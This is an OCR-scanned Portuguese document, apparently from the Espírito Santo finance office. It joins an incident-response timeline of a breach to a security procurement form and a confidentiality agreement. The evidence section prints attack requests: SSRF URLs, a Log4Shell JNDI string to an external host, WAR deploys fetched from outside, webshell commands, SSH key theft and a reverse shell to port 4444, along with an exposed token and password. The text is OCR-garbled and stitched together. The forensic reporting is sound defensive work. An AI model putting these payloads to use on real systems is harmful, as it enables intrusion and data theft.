com 255434 bytes). Foi provavelmente aqui que a credencial de um [Servidor de Aplicagao 1] foi

obtida.
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Dia 3 - 04:08 — Ataques Log4Shell (p1)

Multiplas tentativas de Log4Shell (${jndi:ldap://69.5.189.104:1389/...}) s3o injetadas em
parametros das APIs do SIEM via SSRF, visando explorar o servidor SIEM em [IP]:9000. O IP do

—
servidor externo [IP]:1389 é o mesmo que aparece nos testes de conectividade do Oracle no log <
o]
<
original (UTL_HTTP para :8888), confirmando tratar-se do mesmo ator. <Z:
9
Dia 3 - 05:10 — Pivo para [Servidor de Aplicagdo 1] com credenciais roubadas (p2) a
s 3
Usando as credenciais obtidas do SIEM, o atacante passa a controlar o [Servidor dee Aplicagdo 1] Q 3
< ©
inteiramente via SSRF: download.php?pdfLink=[[User:Password]! @[IP]:8040/jmxconsole/.... A 5 %
L ~
o <
partir daqui todos os comandos executados sdo idénticos aos do log original — porém orquestrados - g
N —
remotamente através do servidor web. i y
Dia 3 - 05:14 — Deploy de WAR malicioso tentado (p2) S ;_3:
(@]
) , z o)
Tentativa de deploy de cmd.war diretamente do servidor externo: £ £
& w
MainDeployer/deploy?arg0=http://[IP]:8888/cmd.war. Isso indica que o atacante tentou instalar 8 %
E 0
um webshell via mecanismo nativo do [Servidor de Aplicacdo 1] antes de recorrer ao método de ] 8
echo+base64 documentado no log original. g 8
o o)
3 Q
Dia 3 - 05:32-05:34 — Novo webshell JSP de execu¢ao de comandos (p2) Q w
Além do q.jsp focado em Oracle, um segundo webshell é implantado: s.jsp em ROOT.war do = 8
m
o
[Servidor de Aplicagdo 1]. Esse shell aceita comandos arbitrarios via pardmetro ?c=, sendo mais = §
S o
« ~

genérico e poderoso.

Dia 3 - 05:39-06:08 — Exfiltragao de credenciais do [Servidor de Aplicagao 1] (p2)

Varredura profunda nos arquivos de configuracdo do [Servidor de Aplicagdo 1]: jdbc.properties,
config.properties, login-config.xml, hsqgldb-ds.xml, buscando strings jdbc:oracle e password. Os
arquivos [Aplicagdo]integracao.war e [Aplicagaol4d.war sdo desmontados para extragcdo de
propriedades. A chave SSH /tmp/.poc_key (também referenciada como /home/[Servidor de

Aplicagdo 1]/.ssh/poc_key) é exfiltrada com 3244 bytes.

Dia 3 - 06:21 — Movimentacao lateral SSH para [Servidor de Aplicacdo 2] (p2)
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Com a chave SSH poc_key, o atacante conecta do [Servidor de Aplicagdo 1] para [Servidor de
Aplicacdo 2]@[IP] e executa id com sucesso. Em seguida, implanta o webshell c.war no [Servidor de

Aplicagdo 2] usando o préoprio JMX Console do [Servidor de Aplicagdo 2] como vetor:

http://[IP]:8040/jmxconsole/...deploy...http://[IP]:8040/c.war. O [Servidor de Aplicagdo 2] passa a <
servir o shell em s.jsp?c=. 2
<
<
Dia 4 - 04:04-06:37 — [Operacgoes no Servidor de Operacao 2] (log original) .(5,:9
o
As atividades do log original s3o a continuagdo direta das operagdes do p2, agora executadas em ? ;rr_
5 3
paralelo tanto no [Servidor de Aplicagdo 1] (via SSRF do portal) quanto diretamente nos IPs [IP] e 2 ©
5] o
[IP] — provavelmente outros pontos de acesso obtidos na fase anterior ou a reverse shell < %
o
estabelecida para [IP]:4444. g S
o 4
% S <
DEMAIS EVIDENCIAS: S P
S )
= o4
. - L. . (@]
1 — Reconhecimento passivo inicial (Dia 1) 2 o
[IP] "GET /informacoes/fiscalizacao/substituicao_tributaria/contribuintes.php HTTP/1.1" 200 40933 "Claude- 5 S
o) >

" 2
User/1.0 = 8
= a
2 — Confirmacao da vulnerabilidade SSRF (Dia 3 - 03:25) 8 &
2 8
[IP] "GET /agenciavirtual/area_publica/[aplicagdo] /download.php?pdfLink=[IP] HTTP/1.1" 200 77139 g Ll
g 3
O servidor faz o fetch de [IP] e retorna 77 KB — SSRF confirmado. % é
-
3 — Mapeamento interno: [HelpDesk] e token de API expostos (Dia 3 - 03:29) 5 §
« ~

[IP] "GET /download.php?pdfLink=S3A71024P1/[helpdesk] /apirest.php/initSession?app_token=
vLgATtb3vpi45dc3pjiFL HTTP/1.1" 200 347

4 — Acesso ao [SIEM] com credenciais padrao (Dia 3 - 03:36)
[IP] "GET /download.php?pdfLink=[user:SIEM]ylog@[1P]:9000/api/system HTTP/1.1" 200 311

5 — Exfiltracao de senhas via [SIEM] (Dia 3 - 04:49) — 255 KB extraidos

[IP] "GET /download.php?pdfLink=[user:password]@[IP]:9000/api/search/universal/relative
%3Fquery%3Dpassword%?26range%3D2592000%26limit%3D50 HTTP/1.1" 200 255434
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6 — Ataque Log4Shell contra [SIEM] via SSRF (Dia 3 - 04:08)

[IP] "GET /download.php?pdfLink=[user:password]@[IP]:9000/api/search/...%24%7Bjndi%3Aldap%
3A%2F%2F69.5.189.104%3A1389%2Fa%7D... HTTP/1.1" 200 422

bl

— < . ” . < < ©

7 — Pivo para [Servidor de Aplicacao 1] com credencial obtida do [SIEM] (Dia 3 - S
Lo

05:10) <
<

2

[IP"GET /download.php?pdfLink=[user:password]!@[IP]:8040/jmx-console/ HTTP/1.1" 200 692 o
2 3

8 — Deploy de WAR malicioso via JMX no [Servidor de Aplicagao 1] (Dia 3 - 05:14) = &
8 —

2 g

[IP] "GET /download.php?pdfLink=admin:logusinfo!@[IP]:8040/jmxconsole/HtmlAdaptor?action= :3: g
a <

invokeOpByName&methodName=deploy&arg0=http%3A%2F%2F6 9.5.189.104%3A8888%2Fcmd.war - g
HTTP/1.1" 200 493 S -
© -

3

9 — Implantacao do webshell s.jsp no [Servidor de Aplicagao 1] (Dia 3 - 05:34) 3 5
= 74

O

[IP] "GET /download.php?pdfLink=[user:password]!@[IP].15:8040 /jmxconsole/displayOpView.jsp% z [e)
z =

3Fq%3Dbase 64 ${IFS}- d${IFS}/tmp/shellb64%3E/opt/jboss/.../ROOT.war/s.jsp HTTP/1.1" 200 1 % E
o =

e} =)

10 — Exfiltracao da chave SSH poc_key (Dia 3 - 06:08) 5 g
= )

[IP] "GET /download.php?pdfLink=[user:password]!@[IP]:8040 /jmxconsole /displayOpView.jsp%3Fq é 8
%3Dcat${IFS}/tmp/.poc_key HTTP/1.1" 200 3244 'ﬂ\ 8
8 "

11 — Movimentacao lateral SSH para [Servidor de Aplicagao 2] Dia 3 - 06:21) “: E
. o!

[IP"GET /download.php?pdfLink==[user:password]!@[IP]:8040/jmxconsole/displayOpView.jsp% ? ™
iy ©

3Fq%3Dssh${IFS}- i${IFS}/tmp/.[servidor de aplicacdo]_key${IFS}[servidor de aplicacio]@[ip].88${IFS}id % g
¢ I3V

HTTP/1.1" 200 222
12 — Webshell ativo no [Servidor de Aplicacao 2] (Dia 3 - 09:02)
[IP"GET /download.php?pdfLink=[IP]:8040/c/s.jsp%3Fc%3Did HTTP/1.1" 200 308

13 — Reverse shell para C2 interno [IP] (Dia 3 - 05:32, decodificado)

[IP] "GET /download.php?pdfLink==[user:password]!@...displayOpView.jsp%3Fq%3Dpython${IFS}-
c${IFS}exec('aW1wb3]0...decode('base64")) HTTP/1.1" 200 643 # Payload decodificado:
s.connect(("[IP]",4444))
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14 — Acesso direto ao Oracle [Aplicacao] e queries de exfiltracao (Dia 4 - log
original)

[IP] "GET /jmxconsole /displayOpView .jsp?q=/usr/bin/java${IFS}-cp${IFS}/tmp:/tmp/ojdbc6- [IP]jar${IFS}O
HTTP/1.1" 200 810

# Queries: SELECT USER, GRANTED_ROLE, PRIVILEGE, DBA_JAVA_POLICY, DBA_DB_LINKS

15 — Tentativa de persisténcia via DBMS_SCHEDULER no Oracle (Dia 4 - log
original)

[IP] "GET /jmxconsole /displayOpView.jsp?q=/usr/bin/java${IFS}-cp${IFS}/tmp:/tmp/ojdbc6-
[IP]jar${IFS}OraQ5 HTTP/1.1" 200 180

# 0raQ5 executa: DBMS_SCHEDULER.CREATE _JOB(job_action=>'/bin/bash’, ..)
16 — Do resultado

Criagao de arquivos de Ordem Bancarias — OBs para pagamento em quantias que
superam os R$113.000,000,00 (cento e treze milhdes de reais) conforme imagem

exemplificativa abaixo.
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global s 5
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:ag, :conta}); s+=1 -
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ANEXO Ill - MODELO DE PROPOSTA

Descricdao Qtd Un. Medida Valor unitario Valor total

1 Solugédo XDR + ITDR mm———— mm———— mm—mnan
1.1 Licenciamento Solugdo XDR + ITDR 1400 EndPoints

1.2 Ativagao da Solugao XDR + ITDR 1 Servigo

1.3 | Operagédo da Solugao XDR + ITDR 6 Més

2 Solucao de Microsegmentacao m——— —m——— m—————n
21 Licenciamento Solugéo de Microsegmentagao 1400 EndPoints

2.2 | Ativagao da Solugdo de Microsegmentagao 1 Servigo

23 Operagao da Solugao de Microsegmentagao 6 Més

3 Solucédo de DRPS mm———— em——— m—————
3.1 Licenciamento Solugdo de DRPS 1 Licenga

3.2 Ativagdo da Solugao de DRPS 1 Servigo

4 Operacéo F5 mm———— —m——— mm—————
4.1 Assessment da Solugao F5 1 Servigo
4.2 | Operagédo da Operagdo F5 6 Més

5 Servicos de MDR 6 Més

VALIDADE DA PROPOSTA
O prazo de validade da proposta devera ser de 90 (noventa dias).
..................... y eeeeee d€ .. de 2026

Atenciosamente.

Nome e assinatura do representante legal
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ANEXO IV - TERMO DE CONFIDENCIALIDADE

Em face do contrato n.° XXXXXXXXX, firmado entre a empresa [Razao Social da Empresa],
inscrita no CNPJ/MF sob 0 No [XX.XXX.XXX/XXXX-XX], estabelecida na [enderego da
Empresa], doravante denominada CONTRATADA, e a Secretaria de Estado da Fazenda
do Espirito Santo, com sede a Avenida Joao Batista Parra, n° 600, Ed. Aureliano Hoffman,
Enseada do Sua, Vitdria-ES, CEP: 29050-375, doravante denominada SEFAZ-ES para
realizagcao dos servicos constantes do Termo de Referéncia [Identificacdo do Termo de
Referéncia), e

CONSIDERANDO que a CONTRATADA executa atividades através de seu corpo
funcional, empregados ou prestadores de servigos, que a cada um se denomina doravante
de RESPONSAVEL;

CONSIDERANDO que a CONTRATADA e o RESPONSAVEL terzo acesso as informacdes
da SEFAZ-ES, protegidas por confidencialidade e sigilo fiscal;

CONSIDERANDO a necessidade de disciplinar as responsabilidades pelo acesso e uso
destas informagdes da CONTRATADA e do RESPONSAVEL, bem como definir as regras
relativas ao uso e protegao de informagdes da SEFAZ-ES;

DECLARA a CONTRATADA ser responsavel pelas obrigagbes do presente Termo de
Confidencialidade, e solidariamente o RESPONSAVEL, mediante as seguintes clausulas e
condigdes:

1. PRIMEIRA — A CONTRATADA e o RESPONSAVEL reconhecem que, em razdo da sua
prestacao de servicos a SEFAZ-ES, tém acesso as informagdes desse orgao publico,
que devem ser acessadas e utilizadas estritamente dentro das instalagées fisicas da
SEFAZ-ES. E proibida a divulgac3o dessas informacdes a terceiros nao autorizados por
qualquer meio fisico ou eletrénico, inclusive aos servidores e colaboradores da SEFAZ-
ES nado envolvidos no CONTRATO. A eventual e legitima entrega de informagdes a
terceiros deve ser previamente autorizada, de forma expressa e escrita, pelo Gestor do
Contrato da SEFAZ-ES.

1.1.A CONTRATADA e o RESPONSAVEL deverdo manter sigilo sobre quaisquer
dados, informagdes, codigos-fonte, artefatos, contidos em quaisquer documentos e
em quaisquer midias, de que venha a ter conhecimento durante a execugado do
CONTRATO, nédo podendo, sob qualquer pretexto, divulgar, reproduzir ou utilizar,
sob pena de lei, independentemente da classificagdo de sigilo conferida pela
SEFAZ-ES a tais documentos.
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1.2.A CONTRATADA e 0o RESPONSAVEL nao poderio divulgar quaisquer informagdes
a que tenham acesso em virtude dos trabalhos a serem executados ou de que
tenham tomado conhecimento em decorréncia da execugdo do objeto do
CONTRATO, sem autorizagao, por escrito, da SEFAZ-ES, sob pena de aplicagao
das sangdes cabiveis, aléem do pagamento de indenizag&o por perdas e danos.
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2. SEGUNDA - Para os fins deste instrumento, as informagdes e os documentos nao
divulgados ao publico sdo considerados confidenciais, sendo classificados como nao
passiveis de reprodugao e de uso ou acesso restrito.

3. TERCEIRA — A CONTRATADA e o RESPONSAVEL comprometem-se a:

3.1.Manter, em relagdo a terceiros, sigilo sobre todas as informag¢des a que tenham
acesso, especialmente aquelas protegidas pelo sigilo Fiscal, conforme o disposto
no CTN, Lei No 5.172/1966, art. 198 e alteragdes posteriores;

3.2. Utilizar as informagdes relacionadas a SEFAZ-ES estritamente para execugao dos
servigos constantes do CONTRATO;

3.3.Nao divulgar a terceiros, revelar, reproduzir ou, ainda, de qualquer modo dispor das
referidas informagdes para proveito pessoal. Ndo se consideram terceiros, porém,
as pessoas fisicas e/ou juridicas autorizadas a executar os servigos constantes do
CONTRATO;

3.4.Responsabilizar-se por danos materiais e/ou morais que tenha causado por violagao
ao compromisso de confidencialidade ora firmado;

3.5. Notificar imediatamente o Gestor do Contrato da SEFAZ-ES obrigagéo de revelar
qualquer informagdo confidencial por determinagdo legal de autoridades
competentes.

4. QUARTA - Em caso de duvida acerca da confidencialidade de determinada informagao,
o RESPONSAVEL devera tratar a mesma sob sigilo até que venha a ser autorizado
formalmente a trata-la de forma diferente. Em hipotese alguma se interpretara o siléncio
da SEFAZ-ES como liberagao de qualquer dos compromissos ora assumidos.

5. QUINTA - Ao término do presente CONTRATO, a CONTRATADA, devera entregar a
SEFAZ-ES todo e qualquer material de propriedade desta, inclusive notas pessoais
envolvendo matéria sigilosa relacionada com a SEFAZ-ES, registro de documentos de
qualquer natureza que tenham sido usados, criados ou estado sob seu controle. O
RESPONSAVEL também assume o compromisso de ndo utilizar qualquer informagéo
adquirida quando de sua prestagao de servigos, e devolver qualquer informagao a
SEFAZ-ES quando de seu desligamento do CONTRATO e/ou da CONTRATADA.

6. SEXTA — A CONTRATADA e o RESPONSAVEL obrigam-se a informar, imediatamente,
acerca de qualquer violagao das regras de sigilo por parte dele ou de quaisquer outras
pessoas, inclusive nos casos de violagdo nao intencional ou culposa, bem como a
descoberta de fragilidades de sistemas ou processos que possam propiciar a quebra da
confidencialidade, disponibilidade ou integridade das informagées.
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7. SETIMA — O n3o cumprimento de quaisquer das clausulas deste Termo de
Confidencialidade, devidamente comprovado, possibilita a imediata rescisdo do
presente CONTRATO. Neste caso, a CONTRATADA estara sujeita, por agao ou
omissdo, ao pagamento ou recomposi¢cao de todas as perdas e danos sofridos pela
SEFAZ-ES, inclusive as de ordem moral, bem como as de responsabilidades
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administrativas, civil e penal respectivas, as quais serdo apuradas em regular processo
judicial ou administrativo.

8. OITAVA - As obrigagbes a que alude este instrumento perdurardo inclusive apés a
cessacao de vinculo entre a CONTRATADA e a SEFAZ-ES, e abrangem, além das
informacées que o RESPONSAVEL venha a tomar conhecimento, aquelas que ja possui
na presente data.

9. NONA — A CONTRATADA tomara as providencias cabiveis para que o RESPONSAVEL
dé ciéncia expressa de Termo de Confidencialidade, com as seguintes disposicdes
minimas:

9.1.Ter ciéncia do presente Termo de Confidencialidade, comprometendo-se a cumpri-
lo fielmente;

9.2.Nado divulgar para pessoas ndo autorizadas qualquer assunto tratado nas
dependéncias da SEFAZ-ES ou a servigo desta, salvo se expressamente
autorizado;

9.3.Declarar estar ciente de que a estrutura computacional disponibilizada pela SEFAZ-
ES ndo podera ser utilizada para fins particulares, e que a navegagao em sitios da
Internet e as correspondéncias em meio eletronico utilizando o enderego da SEFAZ-
ES, ou acessadas a partir dos seus equipamentos, poderao ser auditadas;

9.4. Cumprir as normas de seguranga estatutarias, ou que venham a ser implantadas, a
qualquer tempo, na SEFAZ-ES.
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9.5.0s Termos de Confidencialidade devem ser assinados por todos os profissionais da
CONTRATADA alocados para prestacao dos servigos na SEFAZ-ES, e ficardao em
poder da CONTRATANTE.

10.DECIMA — A fim de dirimir qualquer controvérsia oriunda do presente Termo de
Confidencialidade, a CONTRATADA submete-se as leis da Republica Federativa do
Brasil e elege o foro de Vitéria, com renuncia de qualquer outro, por mais privilegiado
que seja.
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Local e data

Nome legivel e Assinatura do Representante Legal da Empresa

Testemunhas:

RG:

RG:
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